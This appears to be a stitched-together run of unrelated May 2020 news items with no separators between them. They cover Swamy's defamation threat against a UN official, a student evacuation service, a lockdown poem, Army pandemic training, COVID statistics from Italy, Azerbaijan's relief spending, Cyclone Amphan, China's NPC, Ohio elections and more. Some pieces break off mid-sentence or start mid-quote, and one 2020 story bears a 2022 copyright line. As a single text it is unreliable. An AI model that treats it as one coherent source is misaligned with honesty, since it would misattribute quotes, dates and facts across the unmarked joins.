New Delhi, May 23 : What started off as a war of words is about to result in a legal suit. BJP MP Subramanian Swamy has announced that he will be prosecuting United Nations Under Secretary General Adama Dieng for defamation after Dieng accused Swamy of an anti-Muslim hate speech. Swamy has also rubbished the allegations, questioning the credibility of Dieng's source of information.

The BJP lawmaker tweeted: "I am honoured & encouraged to receive from the BJP National President J.P. Nadda and office bearers their best wishes for success on my endeavour to prosecute for defamation the United Nations Under Secretary General Mr. Adama Dieng. I am also thankful to the MEA for facilitation." If this tweet is anything to go by, Swamy has the backing of both his party and the government in his legal offensive against the UN Official.

IANS was the first to report about this controversy. Earlier, Under-Secretary-General Adama Dieng said on Monday that alleged statements attributed to Swamy like "all people are not equal", and that "Muslims are not in an 'equal category' as others" were extremely alarming. Dieng added: "Hate speech and the dehumanisation of others go against international human rights norms and values." However, the BJP lawmaker, while speaking to IANS then, demanded to know "the source or medium" of the alleged statement attributed to Swamy by Dieng. Swamy asked, "Or is it cut and paste fake news?" Later, Swamy released a second salvo at Dieng saying, "That is cut and paste production. Get the unedited 2-hour interview tape which they are declining to give me," after a short version of the link to his interview where he made the purported comments was provided as "source" of the UN official's charge against him.

But this time around, Swamy seems determined to take Dieng head on, in a legal face-off.

Dieng claimed that the expedited citizenship given to non-Muslim minorities should be extended to Muslims in order to be non-discriminatory. Excluding Muslims "is contrary to India's obligations under international human rights law, in particular on non-discrimination," he said, without explaining how a measure to explicitly protect religious minorities from Pakistan and Afghanistan, which are officially Islamic countries, and Muslim-majority Bangladesh, would apply to the members of the majority religion there.
Many international students are looking for additional support to stay safe overseas in their host countries or when they return there in the future, she said. International students and their families are nervous. They saw how different countries and organisations managed the welfare of international students during COVID-19, and they are extremely cautious about getting stuck if something unexpected happens.

When COVID-19 started to impact overseas travel, hundreds of thousands of international students across Asia, Europe, North America and Australia couldnt get home, and many found themselves with limited support. Some students also reported being unfairly treated in the wider community because locals in their host country saw their physical presence as a threat to health and safety.

While schools, universities, colleges and international student support services are implementing their own support measures, including financial payments and flexible studying arrangements, Tokody says these bodies arent necessary equipped to help students get home during emergency circumstances.

This is where Student Parachute steps in and fills the gaps in traditional travel insurance and international student health products, she said.

Student Parachute, a pay-as-you-go membership service, provides emergency support and assistance with up-to-date location tracking; health and safety advisory services; risk ratings and real-time alerts; geolocation tracking and monitoring technology; 24/7 panic button assistance; multilingual, on-the-ground security and evacuation specialist response teams; access to a student-only information portal; and optional global medical monitoring and repatriation services.

The idea, Tokody says, was born from 20-years in the insurance industry.

Ive had a long career in travel insurance, and I pulled out of that last year. I was seeing gaps in the market, she explained.

I could see how this product would be highly relevant to students because theyre entering into a new country, their parents have spent a lot of money on them getting there, its a new place, sometimes a new language  its a huge pressure on students.

Tokody says theres risk involved in international travel for students, which was taken into consideration when designing the product.

It was conceptualised last year, around December, before we had any idea that the pandemic was around the corner, she said. The events that are typically covered in Student Parachute are natural disasters, civil unrest, shooters, pandemics.

 this was not because of COVID, it was developed prior to that. I think COVID is a terrible crisis that were all facing, but I think as a student there are other elements to consider. When you look at just them going about their studies in a strange country, theres more thats weighing down on them as well.

One competitive advantage the Student Parachute policy offers is around-the-clock, constant communication and tracking  something many parents would appreciate if they ever found their child in the midst of a crisis.

One of the things that we do is engage with students throughout the crisis, she said. As situations unfold, a student will be better engaged about what is likely to happen and they will be in a better position to start being repatriated back home, knowing that borders are closing.

While these repatriation efforts are taking place, Student Parachute will also establish clear communication with parents to ensure they are informed on their childs situation, as well as engaging with government agencies.

We will liaise with their parents to pull it altogether, she said. If a student did become stranded, our service is working towards getting them to a safe and secure place. We would continue to work to find windows of opportunity to evacuate them back home, as well as either work directly with, or be advocating on behalf of, other government institutions.

These efforts call on Student Parachutes 24/7 geolocation tracking capability, which is enabled through an app the student downloads once they become a member.

In the event, we would know exactly where they were based on their location on the smartphone, which allows us to communicate with them to streamline assistance efforts to actually try and get them out of the country, she said. We overlay that with services or situations that are happening all over the world.

Tokody says the geolocation tracking isnt just available in Australia  its a global proposition.

The example I would give would be the riots in Hong Kong  if we saw something happening, we could identify if anyone is there and we would actively reach out to them and say: This is happening, where are you? Are you safe? And we would actually manoeuvre them away, she added.

In addition to the geolocation tracking service is the panic button, which enables distressed students who feel threatened to push the button which then alerts the company. The student can either choose to receive a call or a silent text message.

If somebody is in distress  if some students are walking home and they feel threatened, they can actually go in and hit a panic alarm and then we reach out to them and say: Where are you? How can we help? So, its a two-way sort of tracking and assistance.

As a part of the Student Parachute membership, Tokody says the policy will allow for parents to fly over to the country of the students residence in times of crisis. Additionally, the student can also elect emergency contacts.

Unlike insurance policies, Tokody says, Student Parachute doesnt include ambiguous contract clauses and instead offers immediate services that are paid for.

Theres a vagueness to an insurance product, theres no doubt, she said. I think with insurance products theres a funny position with companies try to sell insurance with the hope that you never claim.

This is not that  this is a pure service, you get it straight away, you turn it on, theres no claims  you just get the service delivered to you from the moment that you actually purchase the policy.

Parents and students also wont have to worry about cancellation fees or being locked into a contract for a set period  Student Parachute offers flexible, pay-as-you go membership that can be cancelled at any time without any fees.

Parents and students can cancel the membership at any time, she said. So, theres no lock-in contract. To cancel the policy, you send an email and say you want to cancel the policy and they will actually offer a refund for the unused portions.

Tokody believes Student Parachute is a particularly timely policy that offers flexibility and immediate service during a time of great international uncertainty and unrest.

I think as a parent you want your kids to be the best informed and placed when they move off, she said. Even though theyre quite capable theres things that happen outside of their control that you want them covered for I think thats what attracted me to this proposition after the many years I spent in insurance.
Another poem by Yours Truly (What else is there to do these days except clean house. (Ugh!)

It's been four months I'm stuck at home,

'Bout time to write another poem,

I'm missing friends and (handsome) men,

I must admit, I have a yen...

To hug and kiss and more (much more),

Being home alone is quite a bore,

Chocolate is my greatest pleasure,

(My thighs are now too large to measure).

Oy Vay!

I repeat: Oy Vay! As if I'm not upset enough...

I received the following in the mail from the Simon Wiesenthal Center's dean and founder, Rabbi MARVIN HIER:

"As the world grapples with the coronavirus, t...
The 1st Cavalry Division will emphasize use of chemical and biological hazard MOPP gear as the first unit to train for the possibility of joint warfare in the new era of pandemics, the famed division's deputy commander said Thursday.

In the past, soldiers tended to regard their periodic training in donning and removing the cumbersome Mission Oriented Protective Posture suits as a nuisance, Army Brig. Gen. Brett Sylvia, 1st Cav's deputy commander-maneuver, said in a video conference from Poznan, Poland.

Read next: 'She's Doing Well:' Esper Discusses Young Sailor Who Took Down Corpus Christi Gunman

"And so, when you head out to the field, nobody ever wants to put on that big MOPP suit and the gloves and the booties, and go through all that kind of stuff," Sylvia said.

"Well, people are taking it seriously now, and people are wearing those gloves and wearing their protective gear, and they're paying attention to these things" to protect themselves and their units from the virus, he said in the video conference, sponsored by Blue Star Families, on COVID-19's impact on the military.

Sylvia said the 1st Cav is stressing the importance of the MOPP gear in prepping for a joint exercise with Polish troops as part of U.S. European Command's scaled-down Defender Europe 20 training, which has shifted its original purpose to focus on how to fight during an epidemic.

"We're the first ones doing this at this scale in the Army," he said of the prep for an upcoming river crossing operation involving about 6,000 U.S. and Polish troops.

The Army wants to take lessons learned from the exercise on "how we're able to operate in a contaminated environment," Sylvia said. "What are the principles we would employ? How are we going to protect the force?"

Units will be quarantined before the exercise begins, he said, adding "100% of the U.S troops who participate in this exercise will be tested" for the novel coronavirus, followed by spot testing as the operation unfolds.

The exercise will also stress social distancing. "But when you think about it, there is no social distancing inside a tank," Sylvia said. "You've got four guys on top of one another, and they're not maintaining the distance."

Defender Europe 20 was originally planned as the largest joint exercise in Europe since the end of the Cold War, but has been significantly cut back because of the spread of the virus.

Sylvia said six major exercises were initially planned, involving a total of about 37,000 troops from 10 nations. "Obviously, things changed."

Exercises were postponed or canceled, he said. The U.S. had planned to send 20,000 troops from the States to Europe, along with 20,000 pieces of equipment.

"About 6,000 soldiers made it" to Europe, Sylvia said.

"Obviously, a lot of that turned around and headed back to the States," he said of the troops and equipment.

-- Richard Sisk can be reached at Richard.Sisk@Military.com.

Related: SecDef 'Absolutely Confident' US Will Have a COVID-19 Vaccine by Year's End
ROME, May 22 (Reuters) - Italy recorded 130 new deaths from the COVID-19 epidemic on Friday against 156 the day before, the Civil Protection Agency said, while the daily tally of new cases rose marginally to 652 from 642 on Thursday.

The total death toll since the outbreak came to light on Feb. 21 now stands at 32,616, the agency said, the third highest in the world after those of the United States and Britain.

However, statisticians believe Italy, like many other countries, has suffered considerably more deaths from the virus than its official data suggest, because many casualties were never tested.

A study this week by Italy's social security agency INPS showed that there were almost 47,000 more deaths between March 1 and April 30 than in the average for the same period in the five years from 2015 to 2019.

Of these, around 28,000 were officially counted as COVID-19 fatalities, leaving around 19,000 deaths unaccounted for. INPS said it was reasonable to suppose that "a large part" of these excess deaths were due to the coronavirus.

The Civil Protection Agency said the total number of confirmed cases in Italy since the start of its outbreak now amounts to 228,658, the sixth highest global tally behind those of the United States, Russia, Spain, Britain and Brazil.

People registered as currently carrying the illness dipped to 59,322 on Friday from 60,960 the day before.

There were 595 people in intensive care on Friday, down from 640 on Thursday, maintaining a long-running decline. Of those originally infected, 136,720 were declared recovered against 134,560 a day earlier.

The agency said 2.122 million people had been tested for the virus as of Friday, against 2.079 million on Thursday, out of a population of around 60 million. (Reporting by Gavin Jones)
DUBAI, UAE, May 22, 2020 /PRNewswire/ -- For five days in June (22-26 June 2020) the global healthcare community will be brought together on a scale like never seen before through a new experience delivered entirely online, Omnia Health Live. The virtual healthcare event is brought by Informa Markets Healthcare, organiser of world-leading events Arab Health, Hospitalar, FIME and Medlab Middle East.



Omnia Health Live answers the needs of the healthcare industry during these challenging times by providing unprecedented opportunities for professionals to network and access expert knowledge, wherever they happen to be in the world, ensuring that business goes on amidst the uncertainty.



Requiring no more than a device with a stable internet connection, the free-to-attend event will give attendees access to the online platform to interact daily in virtual meetings and webinars, consume articles and features, and much more, all conveniently delivered to their browser.



Powered by Grip, the award-winning online event networking technology, Omnia Health Live will see the participation of top names in the healthcare industry such as Tom Lawry, National Director for AI, Health & Life Sciences at Microsoft; pioneering surgeon Prof Sir Alfred Cuschieri; and Prof Dr Mahmud Mossa-Basha, MD, radiologist and chair of the RSNA COVID-19 Task Force.



Attendees will benefit from educational content provided by industry experts in 70 virtual sessions, while free CME credits provided by Cleveland Clinic will be granted to healthcare professionals attending the webinars. There will be opportunities to network, set up meetings and exchange virtual business cards.



Wouter Molman, Executive Vice President for Informa Markets  Healthcare, said "Omnia Health Live is part of our unwavering commitment to support the healthcare community whatever the circumstances. As the world moves to virtual technologies, we couldn't be more excited to offer a new world-class event  a global mechanism allowing the healthcare industry to collaborate and connect on a level never seen before."



For more information, including how to join the experience, visit the following website: https://bit.ly/2z7ROcQ



Global healthcare industry

Online healthcare expo

Healthcare exhibition

online healthcare event

Online free CME

Online medical conferences

This press release was issued through 24-7PressRelease.com. For further information, visit http://www.24-7pressrelease.com.

SOURCE Informa Markets Healthcare
BAKU, Azerbaijan, May 22

By Eldar Janashvili - Trend:

As many as 533.26 million manat ($313.6 million) has been allocated from Azerbaijans state budget to help people who are affected by COVID-19 pandemic, Trend reports referring to Azerbaijani Ministry of Finance.

The Action Plan approved by the Cabinet of Ministers provides for financing a number of areas in support of entrepreneurship and continued economic growth. In particular, 69.12 million manat [$40.6 million] was allocated from the state budget for the payment of wages to employees in then areas affected by the pandemic, and 55.64 million manat [$32.7 million] was allocated to provide financial support to microentrepreneurs, the ministry said.

In addition, in order to provide state guarantees for bank loans to business entities and subsidize credit interests, the Entrepreneurship Development Fund has allocated 35 million manat ($20.5 million). In total, these areas received funds in the amount of 159.76 million manat ($93.9 million).

Furthermore, transfer of the funds in the amount of 229 million manat ($134.7 million) to the Ministry of Labor and Social Protection of Population for provision of with a lump sum payment of 190 manat ($111.7) during two months to 600,000 people registered in the State Employment Service as unemployed has been completed.

"In addition, the transfer of funds worth 15 million manat [$8.8 million] for provision of the unemployed with temporary employment has also been completed. Thus, the Ministry of Finance transferred 244 million manat [$143.5million] from budget funds to the Ministry of Labor and Social Protection of Population, noted the ministry.

As stipulated in the Action Plan, financial support is also provided for the sphere of passenger transportation, which is vital for the economy. As known, due to the suspension of flights due to the COVID-19 pandemic and a significant decrease in airline revenues, the Azerbaijan Airlines (AZAL) CJSC, like all airlines in the world, suffered heavy losses. Within the framework of measures of the state support, 86.9 million manat [$51.1 million] was transferred to AZAL. Financial support allocated from the state budget is primarily aimed at paying salaries and equivalent payments to employees working in AZAL and in its subordinate organizations, payables to external and internal institutions, utilities and other minimum operating expenses, said the report.

As part of support measures, 2.6 million manat ($1.5 million) was transferred from the state budget to the Baku Metro CJSC, the ministry noted.

At the expense of the funds envisaged in the Action Plan, the Ministry of Economy provided 1.6 million manat [$941,176] for the payment of labor to 4,134 employees of 323 business entities operating in the Nakhchivan Autonomous Republic as well as 2.3 million manat [$1.3 million] for providing financial assistance to 6,282 microentrepreneurs. To provide state support to persons registered as unemployed in the autonomous republic, 3.61 million manat [$2.1 million] has been allocated. As many as 1.24 million manat [$729,411] has been allocated to the Cabinet of Ministers of the Nakhchivan Autonomous Republic for wage compensation and other operating expenses of the Nakhchivan International Airport, as well as for financial assistance to seven business entities operating in the field of intercity and intra-city transportation, said the ministry.

Financing of operations in all areas that suffered from COVID-19 are being carried out by the treasury departments on a daily basis in accordance with the Action Plan.

(1 USD = 1.7 manat on May 22)

---

Follow the author on Twitter: @eldarjanashvili
Lucknow, May 22 : The National Investigation Agency (NIA) on Friday said that it has filed a charge sheet against three persons on charge of hatching a conspiracy to circulate high-quality Fake Indian Currency Notes (FICN) after procuring them from West Bengal.

An NIA spokesperson said in a statement that Phulchand of UP's Lakhimpur Khiri, Aminul Islam and Nasiba Khatoon of West Bengal's Malda have been charged under the Indian Penal Code and the Unlawful Activities (Prevention) Act.

He said the charge sheet was filed before a special NIA court in Lucknow on Thursday.

The case pertains to the seizure of FICN with a face value of Rs 1.79 lakh by Uttar Pradesh's Anti-Terrorism Squad (ATS) on November 25 last year from the three accused on the Lucknow-Sitapur highway. The case was later taken over by the NIA.

The official said that the accused conspired to smuggle, procure and possess FICN, and further circulate and supply these to various persons/consignees in UP.

The fake notes were supplied from Malda, he said.
Another day, another investigation of an investigation.

The FBI will launch an internal audit of its investigation of former National Security Adviser Michael Flynn, FBI Director Christopher Wray said Friday. The move comes after the Justice Department dropped its case against Flynn after concluding he was pressured into lying to the FBI, and as documents from that investigation continue to be declassified.

President Trump fired Flynn as his national security adviser after he admitted to lying to Vice President Mike Pence about his discussions with Russian Ambassador Sergey Kislyak. Flynn later pleaded guilty to lying to the FBI about those conversations, but earlier this year claimed he was pressured into saying he lied. Attorney General William Barr announced earlier this month that the DOJ would move to dismiss Flynn's charges, saying the FBI's investigation into Flynn was "conducted without any legitimate investigative basis."

The DOJ's announcement has only fueled conservatives' criticisms of the intelligence community and the FBI. Senate Judiciary Chair Lindsey Graham (R-S.C.) promised to conduct the committee's own investigation into the origins of Flynn investigation, including Special Counsel Robert Mueller's probe that led to Flynn's charges.

More stories from theweek.com

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An official North Korean newspaper has announced that the country's leaders do not have the ability to "magically" bend time and space as the nation previously claimed in the regime of Kim Jong-un and former supreme leader Kim Jong-il.

The announcement is a significant rollback from the nation's previous firm claims into distancing itself from rumours regarding its leaders.

Time-travelling Kim?

The newspaper agency, Rodong Sinmun, rejected the claim that the Kim family have the ability called "Chukjibeop", which, in North Korean culture, is defined as a way of folding space and time travelling.

According to the UK Express, the method of Chukjibeop has deep-rooted origins within the society of North Korea as a means of strengthening the worship of their leaders.

In a statement from the media outlet, it read "In realistic terms, a person cannot disappear and reappear by folding space."

A South Korean official from the unification ministry said on Thursday that the North Korean trend of demystification is "noteworthy."

"It appears to stress patriotism and love for the people rather than mystification of the leaders," said the official to the Yonhap news agency.

Since the failed agreement of North Korean Leader Kim Jong-un and US President Donald Trump in a second summit, the supreme leader turned his eyes on revealing more of his "human" side to his people, motivating the demystification of leaders by the North Korean people.

Also Read: North Korea Kept Their Leaders Alive By Feeding Them Bizarre Animal Body Parts, Other Crazy Ways

"Mystifying a leader's revolutionary activity and appearance would result in covering the truth," said leader Kim as he was quoted stating to the state media in March of 2019 after the unfruitful negotiations between the US and North Korea, as reported by the UK Telegraph.

He added that "Absolute loyalty would spring up when they are mesmerised by the leader humanly and comradely."

Surfacing rumours about the supreme leader

Rumours about the North Korean leader's health continue to spread in the region of the Sino-North Korean border, persisting through the government's attempt to debunk myths with a last-minute public appearance of the supreme leader in good health.

The appearance of Kim Jong-un at a fertiliser company, however, failed to relieve the doubts of the country as people claim that the factory is unfinished and inoperable.

There are even reports that some believe a body double was used to showcase the fake appearance of Kim.

Another rumour that has begun to pop up stating the supreme leader received leg injuries resulting in his absence.

"People are speculating that Kim Jong-un can't walk properly right now because he might have gotten leg surgery due to his weight," said the source.

"Other rumours say that he rode around in a car during the opening ceremony because he couldn't walk properly, while some say that he was exercising to lose weight but strained himself and had to take a long break to rest," they added. "There are all sorts of rumours."

There are also reports that the claims regarding the deteriorating health of the supreme leader originated from defectors of the state.

"After Kim Jong-un resurfaced, people started saying that the defectors in South Korea were the ones that first started to spread rumours of his death," said a North Hamgyong Province-based source told Daily NK.

Related Article: Kim Jong Un's Possible Successor: Why We Seldom See North Korean Leader's Sister Kim Yo-Jong

@ 2022 HNGN, All rights reserved. Do not reproduce without permission.
Source: Xinhua| 2020-05-23 00:56:42|Editor: huaxia

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HONG KONG, May 22 (Xinhua) -- Hong Kong's exam authority Friday announced the decision to cancel a history question on the college entrance exam after it was widely condemned for misleading students about the history related to Japan's invasion of China during the first half of the 20th century.

The Hong Kong Examinations and Assessment Authority (HKEAA) said the question will also be removed from its question bank so that it will not be used in other papers in the future.

Candidates involved will be given a predicted score on the question based on their overall performance in the same paper, the HKEAA said.

The Hong Kong Diploma of Secondary Education exam had a question about whether Japan did more good than harm in China between 1900 and 1945, asking examinees to express and support their opinion taking reference to the two listed excerpts and their knowledge.

One of the excerpts was a 1905 article by a Japanese educator describing the arrangement to teach Chinese students law and politics. The other excerpt cited parts of a 1912 letter from a then Chinese revolutionary leader to a Japanese politician seeking financial help, as well as a one-year loan contract in 1912 by a Japanese company to China.

The question caused a public outcry as it was suspected of misguiding students with biased materials.

The Hong Kong Special Administrative Region (HKSAR) government has investigated into the case and the HKSAR Chief Executive Carrie Lam has said the controversial question is a professional mistake and education cannot be without supervision. Enditem
Prime Minister Narendra Modi on Friday flew down to Kolkata to take stock of the situation in large swathes of West Bengal that were decimated by cyclone 'Amphan' and announced an advance assistance of Rs 1,000 crore for restoration work, as the death toll due to the natural calamity mounted to 80.

Modi along with Chief Minister Mamata Banerjee and Governor Jagdeep Dhankhar conducted an aerial survey of the cyclone-ravaged areas earlier in the day and held a review meeting.

Prior to the meeting, Banerjee demanded that 'Amphan' be declared a national disaster. She said the state had suffered losses to the tune of Rs 1 lakh crore in the fiercest cyclone to hit the state in over 100 years.

"The prime minister has announced Rs 1,000 crore emergency fund... what is the package I do not know. I have told him that we will give him the details. It will take some time to assess the overall situation, but the damage is worth more than Rs 1 lakh crore," she said.

Banerjee said she reminded the PM about Rs 53,000 crore the central government owed to the state for various social security schemes.

The PM also announced an ex gratia of Rs 2 lakh each for families of the deceased and Rs 50,000 for the injured.

Appreciating Banerjee's efforts in galvanising the state administration to deal with the natural disaster amid the COVID-19 pandemic, Modi said the whole country stands with West Bengal.

Meanwhile, eight more bodies were recovered from different parts of the state since Thursday evening, raising the death toll to 80, officials said.

In various parts of the state, bodies were found floating on water, which were recovered by disaster management teams and sent for postmortem, they said.

The number of fatalities is likely to go up as many places are still inaccesible due to the devastation unleashed by the cyclone, officials said.

Large-scale damage to infrastructure, public and private property was reported from North and South 24 Parganas, East and West Midnapore, Kolkata, Howrah and Hooghly districts.

North 24 Parganas District Magistrate Chaitali Chakrabarty said nearly 50 lakh people have been affected and communication networks destroyed.

"In this time of distress and despair, the entire country and the Centre are with the people of Bengal. The Union government will extend all help to the state," Modi said.

The Centre will also deploy a team to assess the extent of damage in the state, he said.

West Bengal BJP president Dilip Ghosh said the central government should directly transfer the money into the accounts of the beneficiaries to avoid any "irregularities".

Dissatisfied with the assistance amount, Leader of the Congress party in Lok Sabha, Adhir Ranjan Chowdhury said Rs 1,000 crore is "nothing compared to the damage that the state has suffered".

Lakhs of people were rendered homeless as the cyclone cut a swathe through half-a-dozen districts of West Bengal on Wednesday night, blowing away shanties, uprooting thousands of trees and swamping low-lying areas.

In some parts of the state, survivors were left with houses reduced to debris and water-filled farmlands.

Although electricity and mobile services were restored in some parts of Kolkata and North and South 24 Parganas -- the two worst-hit districts -- large areas of the city continued to remain without power as electric poles and communication lines had been blown away by super strong winds.

Meanwhile, several protests demanding relief and restoration of electricity and drinking water supply took place in parts of the state, including the state capital.

Kolkata Mayor Firhad Hakim assured that normalcy would be restored within a week.

Over 5,000 trees, beside a few hundred electric posts, traffic signals and police kiosks have been uprooted in and around Kolkata, he said.

"I can assure the people of Kolkata that normalcy would be restored within a week. We are in touch with the private power supply provider and had asked them to restore the lines as early as possible," the mayor said.

Out of the eight bodies that were recovered, four were from Kolkata and two each from South 24 Parganas and Howrah.

Teams of the NDRF and the State Disaster Relief Force (SDRF) have been working on a war-footing to clear the roads blocked by fallen trees.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
The Tamil Nadu Government has allowed TV serial shoots now in Chennai and other indoor studios located in the corporation premises of the state. Maximum 20 persons including the actors will be allowed in the shooting spot and audiences are strictly not allowed. No one will be allowed to shoot in the containment zones.

Actors and workers must sanitize their hands regularly. Technicians and workers on the sets should wear masks. Before the shoot, temperature screening must be done and those who have cough, cold, and fever shouldn't be allowed on the sets.

The vehicles used for the shoot must be cleaned with disinfectant. The makers should also clean the premises with disinfectant before and after the shoot.

For shooting in Chennai, the producers should get permission from the Corporation Commissioner and to shoot in other places outside the city, they should get permission from the District Collector.
Chinas parliament starts its annual meeting in Beijing on Friday as President Xi Jinpings government seeks to show the Chinese people  and the world  that it has controlled the coronavirus pandemic that delayed the key political event by more than two months and can do what is needed to revive the economy.

Some 3,000 delegates of the National Peoples Congress will meet for the next seven days in the cavernous auditorium of Great Hall of the People, built over 10 months on the western side of Tiananmen Square back in the time of Mao Zedong.

The NPC and the Chinese Peoples Political Consultative Conference (CPPCC), which met on Thursday, are collectively known as the Two Sessions and were supposed to take place in March until the coronavirus pandemic that had begun with a handful of cases of mysterious pneumonia in the central city of Wuhan, spread out of control in January, forcing the city and its surrounding province to be sealed off.

The significance of the NPC is that it is actually happening, said Steve Tsang, who is the director at the China Institute at SOAS in London. The NPC is normally more of a symbol than anything else and this time it has additional symbolism for both the party and Xi Jinping. It can be used to show that its only because of the success of the leadership of the party and Xi Jinping in dealing with the coronavirus that China can hold this congress.

With China now recording only a handful of cases each day, some measures that were introduced to contain the virus have been relaxed. But an outbreak that has shattered the economy, and tested the countrys health system and government as rarely before is likely to dominate the discussions.

As the State Council said on Wednesday after meeting to prepare for the Two Sessions, China is facing an extremely arduous and complex situation in 2020.

The performance of the economy in the first three months of the year  when coronavirus was at its height  gives an indication of the scale of the challenge.

Gross domestic product (GDP) shrank by 6.8 percent  the first contraction since at least 1992 when China began releasing data. HSBC has said the GDP forecast could be as low as 2 percent for the full year and could even be dropped altogether.

Stimulus measures

Premier Li Keqiang will lay out the plans for the year in the traditional state of the nation address on the opening day; a speech that usually sets key targets, including economic growth and unemployment.

Key issues on the agenda will be economic growth and jobs, poverty alleviation, public health and new legislation, with some meetings taking place via video conference to ensure officials maintain appropriate social distancing.

The virus makes the situation very complicated, said Minglu Chen, a senior lecturer in the Department of Government and International Relations at the University of Sydney, noting that the authorities are dealing with a precipitous decline in the economy when they are usually announcing runaway growth.

We havent seen much information on who has lost their jobs. Who is struggling, she said.





Officially, unemployment is at 6 percent, but the data does not include the millions of migrant workers who, without work, have returned home to their villages. As in many coronavirus-hit countries, others have been forced to accept pay cuts while small businesses have struggled to keep afloat.

Economists expect officials to announce new stimulus measures as the government focuses on limiting the fallout from the economic collapse and preserving social stability; one of the Communist Partys key policy objectives.

The coronavirus has already shown how the situation can spin out of control even in a society that is as tightly controlled as Chinas.

As the outbreak surged in February, people in Wuhan queued outside hospitals struggling to get treatment for family members while medical workers found themselves facing a potentially deadly disease without the personal protective equipment they needed.

Chinas usually constricted social media was alive with a fury which erupted into full public view with the death of Dr Li Wenliang, the eye doctor who was one of the earliest to warn about the virus but found himself silenced.

A makeshift memorial for Li Wenliang, a doctor who issued an early warning about the coronavirus outbreak before it was officially recognised, at an entrance to the Central Hospital of Wuhan after his death on February 7 [Reuters]

Since then, the government has clamped down on critics and seized control of the narrative, shifting the blame to officials in Wuhan  sacking some from their jobs  and using the escalating outbreaks in the West as a contrast to Chinas relative success.

No potential rivals

Buoyed by a nationalist wave, President Xi Jinping, the countrys most powerful leader since Mao, appears to be retaining his grip on power.

The current pandemic has weakened his position somewhat, but as far as I can see, he still remains dominant, with no potential rivals in sight to challenge him, said James Char, an associate research fellow in the China programme of the Institute of Defence and Strategic Studies at the S Rajaratnam School of International Studies at Singapores Nanyang Technological University. This is especially the case since he continues to have a tight rein over the Peoples Liberation Army.



Char notes that on the Central Military Commission (CMC)  the PLAs supreme decision-making body which was set up during the 19th Party Congress in 2017  all six members are people with close ties to Xi.

As he takes his seat in the auditorium, Xi will have little to fear from the delegates  supposedly elected by citizens above the age of 18, but in reality, chosen by local officials. While the parliament has  occasionally  rejected government plans, the congress is seen as largely a rubber stamp.

Delegates at the Chinese Peoples Political Consultative Conference in Beijing on Thursday [Andy Wong/EPA]

At times like these the party rallies around him, conscious that a setting characterised by rising global flux and domestic discontent adds additional risks to potential fallout from elite politics, Adam Ni, director of China Policy Centre, and editor of the China Story blog told Al Jazeera. For the average Chinese person, the economic fallout is critical and critically important for Xi and his administrations legitimacy.

Among other legislation they will consider will be Chinas first civil code  part of Xis plan to reform the legal system and formalise property and personal rights.

As a result of the coronavirus, it will also include updated public health legislation with the possibility that public health-related crimes will be tougher in future, according to NPC Observer, which tracks initiatives at the congress.

More significantly, China has also signalled the NPC will pass new national security legislation for Hong Kong after mass anti-government protests that began a year ago and have started to reemerge in recent weeks. Zhang Yesui, a spokesman for the congress, said the move was necessary in light of new circumstances and need with more details of the legislation to be announced on Friday.

While the NPC might be a show of the Chinese governments strength, when Premier Li presides over the traditional closing day news conference  with fewer media in attendance than usual because of social distancing  the coronavirus will continue to cast a long shadow.

No one anywhere is sure whether COVID-19 has truly run its course, and Chinas leaders  Xi most of all  will not want to risk another wave of disease.

People within the system are not going to forget February, said SOASs Tsang. For all the propaganda the people who lived through February are not going to forget what happened. No one feels strong enough to challenge Xi in the short term, but if things go badly wrong again then who knows.
Were really trying to go after offices right now because once everyone opens up, everyone is going to want to make sure their employees are safe, he said. You are going to need these measures that prevent people from getting within 6 feet of each other.
(Bloomberg Opinion) -- In an April poll, two-thirds of Americans said the coronavirus pandemic would significantly disrupt the election in November. In the same poll, nearly as many expressed confidence that all citizens who want to vote in the election will be able to. There may be some tension between those beliefs.

Even people with good intentions dont know how hard it is to pull off an election, said Jen Miller, executive director of the League of Women Voters in Ohio.

Pulling off an election is the task of the elected officials, administrators and volunteers who make voting feasible in the nations 10,000 electoral jurisdictions. Election policy and implementation are really complicated, said Miller, who has been working on voting rights for 16 years and lobbying the Ohio legislature for nearly as long. Most of the legislature, regardless of party, struggles to understand the realities of elections.

Those realities are quickly changing as the election comes under multiple threats. Well before the arrival of the novel coronavirus, U.S. intelligence agencies had already concluded that Russia is once again seeking to help elect Donald Trump and rattle public confidence in democracy, an effort that may include cyberattacks on election systems or related infrastructure. Likewise, Trump is once again spreading falsehoods about voter fraud in a parallel effort to undermine democratic faith.

Coronavirus adds a new and unfamiliar complication on top of less novel, if no less pernicious, afflictions. The combined effects create enormous burdens for officials hoping to run elections that are not only efficient and fair, but also perceived to be so.

Miller is part of a coalition urging proposals to help. These include the passage of legislation to allow voters to request an absentee ballot via the Internet and to help officials administer an election for which the state is not yet prepared.

Ohio, with 18 electoral votes, is coveted and contested political terrain. Donald Trump won the state easily in 2016, defeating Hillary Clinton by 8 points. Republicans swept statewide offices in the 2018 election, which was extremely favorable to Democrats elsewhere. But the state still has a popular Democratic U.S. Senator, Sherrod Brown, and polls show Ohio could have a close presidential contest in 2020.

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The states 88 county boards of election are all bipartisan, consisting of two Republicans and two Democrats, limiting the scope of partisan temptation. Its chief election officer is Republican Secretary of State Frank LaRose, an ex-Green Beret and former state legislator with a reputation for competence and fairness.

LaRose has declined to endorse partisan propaganda about voter fraud, which he has acknowledged is minimal. When his office last year put together a list of voters to be purged, as required by an aggressive state law purporting to target the mythical fraud, he first released the list to advocacy groups. They found it to be riddled with errors and likely to disenfranchise at least 40,000 legitimate voters. LaRose prevented some purges, and the advocacy groups helped others avoid being dropped.

While Republicans such as Texas attorney general Ken Paxton have gained notoriety by dismissing calls to make voting more convenient in a pandemic, LaRose is among the Republican office holders doing the right thing to make sure voters can vote safely and fairly in November, said University of California at Irvine law professor Richard Hasen, an expert in election law.

LaRose, however, needs speedy authorization from the state legislature to enact his plan. So far, the legislature hasnt moved to accommodate him.

LaRoses plan is mostly a collection of small ball measures. But its the kind of small ball that can make voting easier for an electorate poised to shift in large numbers this fall from in-person voting to voting by mail. Ohio already has four weeks of early voting in person, and four weeks of voting by mail. Voting in person has previously been the most popular way to cast ballots.

To handle the shift, LaRose wants federal funds to invest in high-speed scanners, envelope openers and other mail-handling equipment to process the expected increase in mail ballots. He wants to allow voters to request their ballot online, and he wants to provide a business reply mail, postage-paid envelope for any voter interested in casting their vote by mail. He wants to adjust deadlines so that people who get a ballot at the last minute still have time to turn it in before the deadline for receiving mail at the board of elections. He wants to allow all 17-year-olds to serve as poll workers since older poll workers, who are more vulnerable to Covid-19, may be reluctant to show up.

